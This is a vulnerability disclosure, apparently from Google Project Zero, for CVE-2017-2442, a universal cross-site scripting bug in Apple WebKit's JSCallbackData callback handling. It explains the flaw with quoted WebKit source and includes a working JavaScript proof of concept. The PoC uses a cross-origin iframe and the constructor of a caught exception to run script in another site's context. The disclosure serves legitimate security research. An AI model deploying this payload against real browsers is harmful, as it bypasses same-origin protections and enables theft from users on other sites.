Apple Webkit: UXSS with JSCallbackData 

CVE-2017-2442


Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.

class JSCallbackDataStrong : public JSCallbackData {
public:
    JSCallbackDataStrong(JSC::JSObject* callback, void*)
        : m_callback(callback->globalObject()->vm(), callback)
    {
    }

    JSC::JSObject* callback() { return m_callback.get(); }
    JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }

    JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
        return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
    }

private:
    JSC::Strong<JSC::JSObject> m_callback;
};

JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
    ASSERT(callback);

    auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());  <<<---------- (1)
    ASSERT(globalObject);

    ExecState* exec = globalObject->globalExec();
    JSValue function;
    CallData callData;
    CallType callType = CallType::None;

    if (method != CallbackType::Object) {
        function = callback;
        callType = callback->methodTable()->getCallData(callback, callData);
    }
    if (callType == CallType::None) {
        if (method == CallbackType::Function) {
            returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));  <<<---------- (2)
            return JSValue();
        }
        ...
    }
    ...
}

But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.

PoC:

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    f.onload = null;

    try {
        let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
        iterator.nextNode();
    } catch (e) {
        e.constructor.constructor("alert(location)")();
    }
};

f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt